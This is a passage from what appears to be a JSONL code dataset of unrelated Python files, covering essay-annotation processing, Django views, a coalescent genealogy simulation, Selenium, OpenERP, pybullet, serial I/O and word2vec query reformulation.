[]\n claims = []\n premises = []\n confirmation_bias = False # not biased until proven guilty\n paragraphs = []\n\n # The class \"constructor\" - It's actually an initializer\n def __init__(self, essay_id, title, text, major_claim, claims, premises, paragraphs, confirmation_bias):\n self.id = essay_id\n self.title = title\n self.text = text\n self.major_claim = major_claim\n self.claims = claims\n self.premises = premises\n self.paragraphs = paragraphs\n self.confirmation_bias = confirmation_bias\n\n\ndef get_entity_contents(file_content: str, entity_name: str) -> list:\n \"\"\"\n :param file_content: content of the essayXXX.ann\n :param entity_name: MajorClaim or Claim or Premise\n :rtype: list\n :return: list of dicts with span, text of given entity and ann-file content\n \"\"\"\n lines = file_content.split(\"\\n\")\n entity_content = []\n for line in lines:\n if re.search(r'\\b' + entity_name + r'\\b', line):\n line = line.split(\"\\t\")\n span_start = line[1].split(\" \")[1]\n span_end = line[1].split(\" \")[2]\n entity_content = entity_content + [{\"span\": [span_start, span_end], \"text\": line[2]}]\n return entity_content\n\n\ndef get_paragraphs_and_sufficient_per_id(essay_id: str) -> list:\n \"\"\"\n :rtype: list\n :param essay_id: ID as string including preceding zeros\n :return: list of dicts of the paragraphs with text and sufficient parameter\n \"\"\"\n tsv_file = open(CONST_SUFFICIENTPATH, \"r\", errors='ignore') # Has some weird characters, this removes them\n file_content = tsv_file.read()\n lines = file_content.split(\"\\n\") # Format in first Line: ESSAY\tARGUMENT\tTEXT\tANNOTATION\n lines.pop(0)\n paragraphs = []\n for line in lines:\n line = line.split(\"\\t\")\n if int(line[0]) == int(essay_id):\n sufficient = True\n if \"insufficient\" in line[3]:\n sufficient = False\n paragraphs = paragraphs + [{\"text\": line[2], \"sufficient\": sufficient}]\n return paragraphs\n\n\ndef get_confirmation_bias(essay_id: str) -> bool:\n \"\"\"\n :rtype: bool\n :param essay_id: ID as string including preceding zeros\n :return: true if confirmation bias true\n \"\"\"\n tsv_file = open(CONST_CONFIRMATIONBIAS, \"r\")\n file_content = tsv_file.read()\n lines = file_content.split(\"\\n\") # Format in first Line: id label\n lines.pop(0)\n for line in lines:\n line = line.split(\"\\t\")\n if line[0].split(\"essay\")[1] == essay_id:\n if line[1] == \"positive\":\n return True\n else:\n return False\n\n\ndef get_all_essay_data() -> list:\n # get all essayXXX.txt file names as basis\n essay_texts = list(filter(lambda x: \".txt\" in x, listdir(CONST_ESSAYPATH)))\n essay_texts.sort()\n all_output_elements = []\n # go through all essayXXX.txt files and gather all corresponding information\n for fileName in essay_texts:\n text_file = open(CONST_ESSAYPATH + fileName, \"r\", encoding=\"utf8\")\n file_id = fileName.split(\"essay\")[1].split(\".txt\")[0] # get ID of current file\n\n # read text-file and clean\n content = text_file.read()\n content = content.replace(\"\\n \\n\", \"\\n\\n\") # slight cleaning: essay140.txt has \"/n /n\" with a space\n content = content.replace(\"\\n \\n\", \"\\n\\n\") # slight cleaning: essay402.txt has \"/n /n\" with a space\n\n # title is contained in first part of the text-file\n title = content.split(\"\\n\\n\")[0]\n # all text is in the second part of the text-file\n text = content.split(\"\\n\\n\")[1]\n\n # gather corresponding essayXXX.ann file\n file_ann = open(CONST_ESSAYPATH + \"essay\" + file_id + \".ann\", \"r\")\n ann_content = file_ann.read()\n\n major_claims = get_entity_contents(ann_content, \"MajorClaim\")\n claims = get_entity_contents(ann_content, \"Claim\")\n premises = get_entity_contents(ann_content, \"Premise\")\n\n paragraphs = get_paragraphs_and_sufficient_per_id(file_id)\n\n bias = get_confirmation_bias(file_id)\n\n # create a output object as contained in output.json and save it\n obj = OutputObject(file_id, title, text, major_claims, claims, premises, paragraphs, bias)\n all_output_elements = all_output_elements + [obj]\n return all_output_elements\n\n\ndef main():\n print(\"Started to create the unified data file...\")\n all_essay_data = get_all_essay_data()\n # write\n json_dump = json.dumps([element.__dict__ for element in all_essay_data], indent=4, ensure_ascii=False)\n with open(f'{CURRENT_WORKING_DIR}/../data/unified_data.json', \"w\") as outfile:\n outfile.write(json_dump)\n print(\"Successfully created unified data in '/data/unified_data.json'.\")\n\n\n# run main function\nif __name__ == '__main__':\n main()\n","sub_path":"assignment01/data-acquisition-assignment/code/data-unification.py","file_name":"data-unification.py","file_ext":"py","file_size_in_byte":5579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"458732608","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\n\nfrom .models import Movies\n\ndef populate(request):\n return_msg = \"\"\n data = [{'episode_nb' : 1, 'title' : 'The Phantom Menace', 'director' : 'George Lucas', 'producer' : 'Rick McCallum', 'release_date' : '1999-05-19'},\n {'episode_nb' : 2, 'title' : 'Attack of the Clones', 'director' : 'George Lucas', 'producer' : 'Rick McCallum', 'release_date' : '2002-05-16'},\n {'episode_nb' : 3, 'title' : 'Revenge of the Sith', 'director' : 'George Lucas', 'producer' : 'Rick McCallum', 'release_date' : '2005-05-19'},\n {'episode_nb' : 4, 'title' : 'A New Hope', 'director' : 'George Lucas', 'producer' : 'Gary Kurtz, Rick McCallum', 'release_date' : '1977-05-25'},\n {'episode_nb' : 5, 'title' : 'The Empire Strikes Back', 'director' : 'Irvin Kershner', 'producer' : 'Gary Kurtz, Rick McCallum', 'release_date' : '1980-05-17'},\n {'episode_nb' : 6, 'title' : 'Return of the Jedi', 'director' : 'Richard Marquand','producer' : 'Howard G. Kazanjian, George Lucas, Rick McCallum', 'release_date' : '1983-05-25'},\n {'episode_nb' : 7, 'title' : 'The Force Awakens', 'director' : 'J. J. Abrams', 'producer' : 'Kathleen Kennedy, J. J. Abrams, Bryan Burk', 'release_date' : '2015-12-11'},\n ]\n\n for i in data:\n try:\n Movies.objects.create(episode_nb=i['episode_nb'], title=i['title'], director=i['director'],\n producer=i['producer'], release_date=i['release_date'])\n return_msg += \"OK\" + \"
    \"\n except Exception as err:\n return_msg += str(err) + \"
    \"\n\n return HttpResponse(return_msg)\n\ndef display(request):\n try:\n data = Movies.objects.all()\n except Exception:\n return HttpResponse(\"No data available\")\n\n return render(request, 'ex05/display_movies.html', {'data': data})\n\ndef remove_page(request, data):\n return render(request, 'ex05/delete_movies.html', {'data': data})\n\ndef remove_movie(request):\n try:\n data = Movies.objects.all()\n except Exception as err:\n return HttpResponse(\"No data available\")\n\n if request.method != 'POST':\n return remove_page(request, data)\n\n delete_str = Movies.objects.get(episode_nb=request.POST['movies'])\n delete_str.delete()\n\n return render(request, 'ex05/delete_movies.html', {'data': data})","sub_path":"day-05/d05/ex05/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"563816910","text":"\n# coding: utf-8\n\n# In[161]:\n\nimport numpy as np\nfrom Bio import Phylo\nfrom Bio.Phylo import PhyloXMLIO\nfrom io import StringIO\nfrom pygraphviz import *\nimport networkx, pylab\nfrom scipy.special import comb\nfrom scipy.stats import poisson\n\n\n# In[162]:\n\n#### initialization\n#mode = int(input('Enter the coalescent model number (1 for Kingman, 2 for Bolthausen-Sznitman Coalescent): '))\n#while mode < 1 or mode > 2:\n# print(\"Wrong Input!\")\n# mode = int(input('Enter the coalescent model number (1 for Kingman, 2 for Bolthausen-Sznitman Coalescent): '))\n#sample_size = int(input('Enter the value of total sample size: '))\n#while sample_size <= 1:\n# print(\"Wrong Input!\")\n# sample_size = int(input('Enter the value of total sample size: '))\nmode = 3\nsample_size = 100\nidentity_count = 1;\n#coalescent_list = [];#keeps track of samples/ancestors available for merging\nmu = 63; #mutation rate\nn = 5\n\n\n# In[163]:\n\nclass Sample:\n def __init__(self, left = None, right = None, ic = identity_count):\n global identity_count;\n self.identity = identity_count;\n self.bigPivot = identity_count;#will be used as a signal in choosin left/right child when constructing tree\n identity_count += 1;#Everytime a sample is created, increases by one to ensure unique identity for every sample created\n self.left = left\n self.right = right\n self.next = None;\n self.time = 0;\n self.total_time = 0\n self.descendent_list = []#what diff? all children\n self.children_list = []#what diff? direct children after one generation\n self.mutations = 0\n def getIdentity(self):\n return self.identity;\n def getMutations(self):\n return self.mutations;\n def getChildrenList(self):\n return self.children_list;\n def __repr__(self): \n return 'This sample\\'s unique identity number is: ' + str(self.identity) + ', and its coalescent time to direct ancestor is: ' + str(self.time) + ', and its number of mutations is: ' + str(self.mutations) \n\n\n# In[164]:\n\nclass Ancestors(Sample):\n def __init__(self):\n Sample.__init__(self);\n self.identity = 'A' + str(identity_count - (sample_size + 1))\n self.mutations = 0\n def getIdentity(self):#overriding\n return self.identity;\n def getMutations(self):\n return self.mutations;\n def __repr__(self): \n return 'This ancestor\\'s unique identity is: ' + str(self.identity) + ', and its coalescent time to direct ancestor is: ' + str(self.time) + ', and its number of mutations is: ' + str(self.mutations) \n\n\n# In[165]:\n\ndef kingmanF(n):\n return n*(n-1) / 2\n #return comb(n, 2, exact = False)\n\n\n# In[166]:\n\ndef bsF(n, mn_rate, coalescent_list):\n total_rate = 0;\n for m in range (2, len(coalescent_list)+1):\n i_rate = len(coalescent_list) / (m * (m-1));\n mn_rate.append(i_rate)\n total_rate += i_rate\n return total_rate\n\n\n# In[167]:\n\ndef updateDescendentList(children_list):\n temp_list = [];\n for i in range(0, len(children_list)):\n identity = str(children_list[i].getIdentity())\n if not 'A' in identity:\n temp_list.append(children_list[i])\n else:\n for j in range(0, len(children_list[i].descendent_list)):\n temp_list.append(children_list[i].descendent_list[j])\n insertionSort(temp_list)\n return temp_list\n\n\n# In[168]:\n\ndef insertionSort(children_list):\n for i in range(1, len(children_list)):\n current = children_list[i].bigPivot\n current_child = children_list[i]\n position = i\n while (position > 0) & (children_list[position - 1].bigPivot > current):\n children_list[position] = children_list[position - 1]\n position = position - 1\n children_list[position] = current_child\n\n\n# In[169]:\n\ndef createChild(coalescent_list, parent, children_list):\n insertionSort(children_list)\n parent.children_list = children_list\n parent.descendent_list = updateDescendentList(children_list)\n parent.right = children_list[len(children_list) - 1]\n for i in range (len(children_list) - 1, 0, -1):\n children_list[i].next = children_list[i - 1]\n coalescent_list.remove(children_list[i])\n parent.left = children_list[0]\n parent.bigPivot = children_list[len(children_list) - 1].bigPivot\n coalescent_list.remove(children_list[0])\n\n\n# In[170]:\n\ndef updateTime(parent, children_list, time):\n highest_time = children_list[0].total_time + time\n highest_index = []\n highest_index.append(0)\n for i in range (1, len(children_list)):\n this_time = children_list[i].total_time + time\n if this_time > highest_time:\n highest_time = this_time\n highest_index.clear();\n highest_index.append(i);\n elif this_time == highest_time:\n highest_index.append(i)\n for i in range (0, len(highest_index)):\n children_list[highest_index[i]].time = time\n children_list[highest_index[i]].total_time += children_list[highest_index[i]].time\n for i in range (0, len(children_list)):\n for j in range (0, len(highest_index)):\n if i == highest_index[j]:\n break\n else:\n children_list[i].time = highest_time - children_list[i].total_time \n temp_time = children_list[i].total_time\n children_list[i].total_time += children_list[i].time\n parent.total_time = parent.total_time + highest_time\n\n\n# In[171]:\n\ndef mergeKingman(coalescent_list):\n children_list = np.random.choice(coalescent_list, 2, replace=False)#two chosen at random\n merge_sample = Ancestors();\n coalescent_list.append(merge_sample);\n createChild(coalescent_list, merge_sample, children_list)\n time = np.random.exponential(1/kingmanF(len(coalescent_list) + 1)) \n updateTime(merge_sample, children_list, time)\n return coalescent_list;\n\n\n# In[172]:\n\ndef mergeBSF(m_list, coalescent_list):\n mn_rate = [];\n bsF_rate = [];\n total_rate = bsF(sample_size, mn_rate, coalescent_list)\n for i in range (0, len(mn_rate)):\n bsF_rate.append(mn_rate[i] / total_rate)\n m = np.random.choice(m_list, 1, replace = False, p = bsF_rate)\n children = np.random.choice(coalescent_list, m, replace = False);\n merge_sample = Ancestors();\n createChild(coalescent_list, merge_sample, children)\n coalescent_list.append(merge_sample);\n time = np.random.exponential(1/total_rate) \n updateTime(merge_sample, children, time)\n return coalescent_list;\n\n\n# In[173]:\n\ndef newick(sample, n):#recursive? yes, but need a helper method\n output = ''\n output = recurNewick((output + '('), sample.right, n)\n current = sample.right\n while current.next != sample.left:\n output = recurNewick(output+ ', ', current.next, n)\n current = current.next\n output = recurNewick(output + ', ', sample.left, n) + ')' + str(sample.getIdentity());\n return output; \n\n\n# In[174]:\n\ndef recurNewick(output, sample, n):\n #global total_branch_length\n #base case\n if (sample.left == None) & (sample.right == None):\n if n == 1:\n output = output + str(sample.getIdentity()) + ':{0:.{1}f}'.format(sample.time, 10)\n return output\n else:\n output = output + str(sample.getIdentity()) + ':' + str(sample.mutations)\n return output\n output = recurNewick((output + '('), sample.right, n)\n current = sample.right\n while current.next != sample.left:\n output = recurNewick(output + ', ', current.next, n)\n current = current.next\n if n == 1:\n output = recurNewick((output + ', '), sample.left, n) + ')' + str(sample.getIdentity()) + ':{0:.{1}f}'.format(sample.time, 10)\n else:\n output = recurNewick((output + ', '), sample.left, n) + ')' + str(sample.getIdentity()) + ':' + str(sample.mutations)\n return output\n\n\n# In[175]:\n\ndef analysis(sample):\n mean_sep_time = 0;\n mean_sep_time = recurTraversal(mean_sep_time, sample.right)\n current = sample.right\n while current.next != None:\n mean_sep_time = recurTraversal(mean_sep_time, current.next)\n current = current.next\n return mean_sep_time\n\n\n# In[176]:\n\ndef recurTraversal(mean_sep_time, sample):\n #base case\n global total_branch_length\n weight = 0;\n if (sample.left == None) & (sample.right == None):\n total_branch_length += sample.time\n identity = str(sample.getIdentity())\n if not 'A' in identity:\n k = 1\n else:\n k = len(sample.descendent_list)\n weight = ( k * (sample_size - k)) / comb(sample_size, 2);\n mean_sep_time = mean_sep_time + (weight * sample.time);\n sample.mutations = poisson.rvs(mu * sample.time)\n return mean_sep_time\n mean_sep_time = recurTraversal(mean_sep_time, sample.right)\n current = sample.right\n while current.next != None:\n mean_sep_time = recurTraversal(mean_sep_time, current.next)\n current = current.next\n total_branch_length += sample.time\n identity = str(sample.getIdentity())\n if not 'A' in identity:\n k = 1\n else:\n k = len(sample.descendent_list)\n weight = ( k * (sample_size - k)) / comb(sample_size, 2);\n mean_sep_time = mean_sep_time + (weight * sample.time);\n sample.mutations = poisson.rvs(mu * sample.time)\n return mean_sep_time\n\n\n# In[177]:\n\n#main instructions\nlist1 = []\nlist2 = []\nlist3 = []\nlist4 = []\nfor p in range (0, n):\n if mode == 3:\n identity_count = 1;\n coalescent_list1 = []\n coalescent_list2 = []\n for i in range(0, sample_size): \n new_sample1 = Sample();\n coalescent_list1.append(new_sample1);\n identity_count = identity_count - 1\n new_sample2 = Sample();\n coalescent_list2.append(new_sample2);\n ic = identity_count\n else: \n coalescent_list = []\n for i in range(0, sample_size): \n new_sample = Sample();\n coalescent_list.append(new_sample);\n\n #main instruction: loop until the most recent commont ancestor MRCA is reached.\n if mode == 1:#Kingman\n while len(coalescent_list) > 1:\n coalescent_list = mergeKingman(coalescent_list);\n elif mode == 2:#Bolthausen-Sznitman\n while len(coalescent_list) > 1:\n m_list = [];\n for i in range (2, len(coalescent_list) + 1):\n m_list.append(i);\n coalescent_list = mergeBSF(m_list, coalescent_list)\n else: #mode ==3 : Both Kingman and BS\n #1: kingman\n while len(coalescent_list1) > 1:\n coalescent_list1 = mergeKingman(coalescent_list1);\n k_ancestor = coalescent_list1.pop(); \n total_branch_length = 0;\n newickForm1 = newick(k_ancestor, 1)#tree in terms of time\n mean_time1 = analysis(k_ancestor)#analysis computes 1) heterozygosity, 2) total branch length, 3) number of mutations\n newickForm2 = newick(k_ancestor, 2)\n newickTBL = total_branch_length\n newickForm1 = str(newickForm1)\n newickForm2 = str(newickForm2)\n handle1 = StringIO(newickForm1)\n handle2 = StringIO(newickForm2)\n tree1 = Phylo.read(handle1, 'newick')\n tree2 = Phylo.read(handle2, 'newick')\n\n list1.append(tree1)\n list2.append(tree2)\n \n identity_count = ic;\n #2: BS\n while len(coalescent_list2) > 1: \n m_list = [];\n for i in range (2, len(coalescent_list2) + 1):\n m_list.append(i);\n coalescent_list2 = mergeBSF(m_list, coalescent_list2)\n BSF_ancestor = coalescent_list2.pop();\n total_branch_length = 0;\n newickForm3 = newick(BSF_ancestor, 1)#tree in terms of time\n mean_time2 = analysis(BSF_ancestor)#analysis computes 1) heterozygosity, 2) total branch length, 3) number of mutations\n newickForm4 = newick(BSF_ancestor, 2)\n BSF_TBL = total_branch_length; \n newickForm3 = str(newickForm3)\n newickForm4 = str(newickForm4)\n handle3 = StringIO(newickForm3)\n handle4 = StringIO(newickForm4)\n tree3 = Phylo.read(handle3, 'newick')\n tree4 = Phylo.read(handle4, 'newick')\n\n list3.append(tree3)\n list4.append(tree4)\n \n\n\n #else:\n # common_ancestor = coalescent_list.pop();\n # total_branch_length = 0;\n # newickForm1 = newick(common_ancestor, 1)#tree in terms of time\n # mean_time = analysis(common_ancestor)#analysis computes 1) heterozygosity, 2) total branch length, 3) number of mutations\n # newickForm2 = newick(common_ancestor, 2) \n\n\n# In[178]:\n\nfor p in range(0, n):\n print(p)\n Phylo.draw(list1[p])\n Phylo.draw(list2[p])\n Phylo.draw(list3[p])\n Phylo.draw(list4[p])\n #list5 = []\n #list5.append(list2[p])\n #list5.append(list4[p])\n #f_list = np.random.choice(list5, 2, replace=False)\n #Phylo.draw(f_list[0])\n #Phylo.draw(f_list[1])\n\n\n# In[ ]:\n\n\n\n","sub_path":"11-04 Clean.py","file_name":"11-04 Clean.py","file_ext":"py","file_size_in_byte":13014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"45570781","text":"from selenium.webdriver.common.by import By\nfrom time import sleep\nfrom homework.pageobject.page.basepage import BasePage\n\n\nclass AddDepartmentPage(BasePage):\n def add_department(self, name):\n self.driver.find_element(By.CSS_SELECTOR, '[name=name]').send_keys(name)\n self.driver.find_element(By.CSS_SELECTOR, \".js_parent_party_name\").click()\n self.driver.find_element(By.CSS_SELECTOR, \".qui_dialog_body.ww_dialog_body [id='1688852051058674_anchor']\").click()\n self.driver.find_element(By.CSS_SELECTOR, \"[id=__dialog__MNDialog__] div>div>a:nth-child(1)\").click()\n sleep(3)\n ele_list = self.driver.find_elements(By.CSS_SELECTOR, \".jstree-node.js_editable.jstree-leaf\")\n name_list = [i.text for i in ele_list]\n return name_list\n","sub_path":"homework/pageobject/page/add_department_page.py","file_name":"add_department_page.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"91550731","text":"# -*- encoding: utf-8 -*-\n#\n#\n# Copyright (C) 2011 Associazione OpenERP Italia\n# ().\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as published\n# by the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n#\n\nfrom osv import fields, osv\nfrom tools.translate import _\n\n\nclass account_invoice(osv.osv):\n _inherit = 'account.invoice'\n _columns = {\n 'corrispettivo': fields.boolean('Corrispettivo'),\n }\n\n def onchange_company_id(\n self, cr, uid, ids, company_id, part_id, _type, invoice_line,\n currency_id, context=None\n ):\n if not context:\n context = {}\n journal_obj = self.pool.get('account.journal')\n res = super(account_invoice, self).onchange_company_id(\n cr, uid, ids, company_id, part_id,\n _type, invoice_line, currency_id)\n is_corrispettivo = context.get('corrispettivo', False)\n corr_journal_ids = journal_obj.search(\n cr, uid,\n [('corrispettivi', '=', True), ('company_id', '=', company_id)])\n\n # Se è un corrispettivo e la company ha almeno un sezionale\n # corrispettivi\n if is_corrispettivo and corr_journal_ids:\n res['value']['journal_id'] = corr_journal_ids[0]\n\n # Se la company ha almeno un sezionale corrispettivi ma l'invoice non è\n # un corrispettivo\n elif (\n corr_journal_ids\n and corr_journal_ids[0] in res['domain']['journal_id'][0][2]\n ):\n # Se l'on_change di invoice ha impostato il journal corrispettivi\n if (\n corr_journal_ids[0] == res['value']['journal_id']\n and len(res['domain']['journal_id'][0][2]) > 1\n ):\n for j_id in res['domain']['journal_id'][0][2]:\n if corr_journal_ids[0] != j_id:\n res['value']['journal_id'] = j_id\n break\n return res\n\n def _get_account(self, cr, uid, context=None):\n if context is None:\n context = {}\n is_corrispettivo = context.get('corrispettivo', False)\n res = False\n if is_corrispettivo:\n partner_obj = partner_ids = self.pool.get('res.partner')\n partner_ids = partner_obj.search(\n cr, uid, [('corrispettivi', '=', True)])\n if not partner_ids:\n raise osv.except_osv(_('Error!'),\n _('No partner \"corrispettivi\" found'))\n partner = partner_obj.browse(cr, uid, partner_ids[0])\n res = partner.property_account_receivable.id\n return res\n\n def _get_partner_id(self, cr, uid, context=None):\n if context is None:\n context = {}\n is_corrispettivo = context.get('corrispettivo', False)\n res = False\n if is_corrispettivo:\n partner_obj = partner_ids = self.pool.get('res.partner')\n partner_ids = partner_obj.search(\n cr, uid, [('corrispettivi', '=', True)])\n if not partner_ids:\n raise osv.except_osv(_('Error!'),\n _('No partner \"corrispettivi\" found'))\n res = partner_ids[0]\n return res\n\n def onchange_corrispettivo(\n self, cr, uid, ids, corrispettivo=False, context=None\n ):\n res = {}\n user_obj = self.pool.get('res.users')\n journal_obj = self.pool.get('account.journal')\n company_id = user_obj.browse(cr, uid, uid).company_id.id\n corr_journal_ids = journal_obj.search(\n cr, uid,\n [('corrispettivi', '=', True), ('company_id', '=', company_id)])\n if corr_journal_ids and corrispettivo:\n res = {'value': {'journal_id': corr_journal_ids[0]}}\n return res\n\n _defaults = {\n 'partner_id': _get_partner_id,\n 'account_id': _get_account,\n }\n\naccount_invoice()\n\n\nclass account_journal(osv.osv):\n _inherit = 'account.journal'\n _columns = {\n 'corrispettivi': fields.boolean('Corrispettivi'),\n }\naccount_journal()\n\n\nclass res_partner(osv.osv):\n _inherit = 'res.partner'\n _columns = {\n 'corrispettivi': fields.boolean('Corrispettivi'),\n }\nres_partner()\n","sub_path":"l10n_it_corrispettivi/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":4817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"88326453","text":"import pybullet as p\nimport time\nimport pybullet_data as pd\nimport numpy as np\np.connect(p.GUI)\np.setAdditionalSearchPath(pd.getDataPath())\ndt = 1./240.\n\np.configureDebugVisualizer(p.COV_ENABLE_RENDERING,0)\np.loadURDF(\"plane.urdf\")\nrobot = p.loadURDF(\"aliengo/aliengo.urdf\",[0,0,0.5])\np.configureDebugVisualizer(p.COV_ENABLE_RENDERING,1)\np.setGravity(0,0,-9.8)\n\nALIENGO_DEFAULT_ABDUCTION_ANGLE = 0\nALIENGO_DEFAULT_HIP_ANGLE = 1.2\nALIENGO_DEFAULT_KNEE_ANGLE = -2.0\nNUM_LEGS = 4\nINIT_MOTOR_ANGLES = np.array([\n ALIENGO_DEFAULT_ABDUCTION_ANGLE,\n ALIENGO_DEFAULT_HIP_ANGLE,\n ALIENGO_DEFAULT_KNEE_ANGLE\n] * NUM_LEGS)\n\nMOTOR_NAMES = [\n \"FR_hip_joint\",\n \"FR_upper_joint\",\n \"FR_lower_joint\",\n \"FL_hip_joint\",\n \"FL_upper_joint\",\n \"FL_lower_joint\",\n \"RR_hip_joint\",\n \"RR_upper_joint\",\n \"RR_lower_joint\",\n \"RL_hip_joint\",\n \"RL_upper_joint\",\n \"RL_lower_joint\",\n]\nmotor_ids = []\n\nfor j in range (p.getNumJoints(robot)):\n joint_info = p.getJointInfo(robot,j)\n name = joint_info[1].decode('utf-8')\n print(\"joint_info[1]=\",name)\n if name in MOTOR_NAMES:\n motor_ids.append(j)\n\nfor index in range (12):\n joint_id = motor_ids[index]\n p.setJointMotorControl2(robot, joint_id, p.POSITION_CONTROL, INIT_MOTOR_ANGLES[index])\n p.resetJointState(robot, joint_id, INIT_MOTOR_ANGLES[index])\n \nprint(\"motor_ids=\",motor_ids)\nwhile p.isConnected():\n p.stepSimulation()\n time.sleep(dt)\n\n\n","sub_path":"examples/pybullet/gym/pybullet_data/aliengo/aliengo.py","file_name":"aliengo.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"207817300","text":"import collections\r\n\r\nclass Board:\r\n def reset():\r\n pass\r\n\r\nfrom iolib import *\r\n\r\nclass gui:\r\n def text_in(self,msg):\r\n print(msg)\r\n\r\nclass CMD_Handler(object):\r\n\r\n cmditem = collections.namedtuple('CMD_Env', ('func', 'args', 'kwargs', 'help', 'argnames', 'para_names'))\r\n \r\n commands = {\r\n 'reset': cmditem(Board.reset, '', '', 'Reset the board', (), ()),\r\n 'save': cmditem(save, 'index', '-i', 'Save board to file ', ('index',), ('i',)),\r\n 'load': cmditem(load, 'index', '-i', 'Load board from file ', ('index',), ('i',)),\r\n 'savelocal': cmditem(savelocal, 'index', '-i', 'Save board to RAM as ', ('index',), ('i',)),\r\n 'loadlocal': cmditem(loadlocal, 'index', '-i', 'Load board from RAM', ('index',), ('i',)),\r\n 'set': cmditem(setpiece, 'x, y, piece, color', '-x, -y, -p, -c',\r\n ('Place a piece on board. x is a number or a letter. color can be the full' +\r\n ' color or just \\'w\\' or \\'b\\'. The same goes for piece'), ('x', 'y', 'piece', 'color'), ('x', 'y', 'p', 'c')) \r\n }\r\n \r\n def __init__(self, board, gui):\r\n self.board = board\r\n self.gui = gui\r\n\r\n def add_command(self, command, function):\r\n self.commands.append((command, function))\r\n\r\n def parse_command(self, command):\r\n if command == 'help':\r\n for command, data in self.commands.items():\r\n self.gui.text_in('{}: {}, {} - {}'.format(command, data.args, data.kwargs, data.help))\r\n else:\r\n for cmd, data in self.commands.items():\r\n if command == cmd:\r\n args = command.replace(cmd, '').split()\r\n if args[0] == 'help':\r\n self.gui.text_in('{}:\\n{}\\n{}\\n{}'.format(cmd, data.help, data.args, data.kwargs))\r\n else:\r\n cmdargs = list()\r\n for arg in args:\r\n if arg.startswith('-'):\r\n arg = arg.replace('-', '')\r\n for kwarg in data.para_names:\r\n if arg[:len(kwarg)] == kwarg:\r\n cmdargs.append(arg[len(kwarg):])\r\n else:\r\n cmdargs.append(arg)\r\n try:\r\n print(cmdargs)\r\n except UnboundLocalError:\r\n pass\r\n \r\n \r\n \r\n \r\n","sub_path":"cmd.py","file_name":"cmd.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"270665703","text":"import serial, sys\nimport syslog\nimport time\n\n#The following line is for serial over GPIO\nport = sys.argv[1]\nspeed = sys.argv[2]\n\nser = serial.Serial(port,speed)\n\nwhile True:\n # Serial read section\n line = ser.readline()\n line2=line.strip().decode('utf-8')\n data = [str(val) for val in line2.split(\",\")]\n print (\"data array from arduino: \")\n print (data)\nexit()","sub_path":"read_ser_01.py","file_name":"read_ser_01.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"575604800","text":"import logging\nimport operator\nimport pickle\n\nfrom gensim.models.word2vec import Word2Vec\nfrom ..constants import *\nfrom ..processing.normalize import Normalizer\n\n\nclass Vectorizer(object):\n def train(self, corpus, api, min_count):\n \"\"\"\n :param corpus: snippets, list or another iterable\n :param api: API elements to use for reformulation: classes, methods, etc.\n :param min_count: threshold for term occurrence to be included in the model\n :return:\n \"\"\"\n try:\n self.model = Word2Vec(corpus, sg=0, min_count=min_count, workers=4)\n self.storage = api\n self.model.init_sims(True)\n except RuntimeError as re:\n logging.warning(re)\n\n def save(self, path, base_name, info=None):\n \"\"\"\n Saves the model\n :param path: folder to save the model\n :param base_name: extentions are connected to the base name\n :param info: additional info about file type\n :return:\n \"\"\"\n\n if not hasattr(self, \"model\"):\n return\n base = os.path.join(path, base_name)\n self.model.save(fname_or_handle=base + INDEX_EXT)\n with open(base + CLASSES_EXT, 'w') as fp:\n pickle.dump(self.storage, fp)\n with open(base + INFO_EXT, 'w') as fp:\n pickle.dump(info, fp)\n\n def load(self, path, base_name):\n \"\"\"\n Loads the model to the memory\n :param path: base folder path\n :param base_name: name of the file, extentions are connected automatically\n :return:\n \"\"\"\n info = None\n base = os.path.join(path, base_name)\n self.model = Word2Vec.load(fname=base + INDEX_EXT)\n # self.model.init_sims(True)\n with open(base + CLASSES_EXT, 'r') as fp:\n self.storage = pickle.load(fp)\n if os.path.exists(base + INFO_EXT):\n with open(base + INFO_EXT, 'r') as fp:\n info = pickle.load(fp)\n return info\n\n def reformulate(self, sentence, num_res=NUM_RESULTS, public_only=False,\n num_candidates=NUM_CANDIDATES):\n \"\"\"\n Takes the sentence, cleans it and reformulates\n :param sentence: list of words\n :param num_res: number of output terms\n :param public_only: use only public API methods\n :param num_candidates: number of candidate terms for further filtration\n :return: list of reformulated terms\n \"\"\"\n if not hasattr(self, \"model\"):\n logging.warning(\"No trained model\")\n return []\n\n sentence = [s for s in sentence if s in self.model]\n logging.info(\n \"Terms of the normalized query that present in the corpus: %s\" % ' '.join(sentence))\n\n if not sentence:\n return []\n\n # TODO pre-compute class_similarity\n storage = self.storage\n if public_only:\n storage = self._public_storage()\n res = {}\n for w in storage:\n if w in self.model:\n res[w] = self.model.n_similarity(sentence, [w])\n\n sorted_candidates = sorted(res.items(), key=operator.itemgetter(1), reverse=True)\n\n candidate_names_counts = [(k, storage[k].count) for (k, v) in\n sorted_candidates[:num_candidates]]\n\n sorted_candidate_names_counts = sorted(candidate_names_counts, key=operator.itemgetter(1),\n reverse=True)\n logging.info(\"Candidates: %s\" % ' '.join([k for (k, v) in sorted_candidate_names_counts]))\n return [storage[k].name for (k, v) in 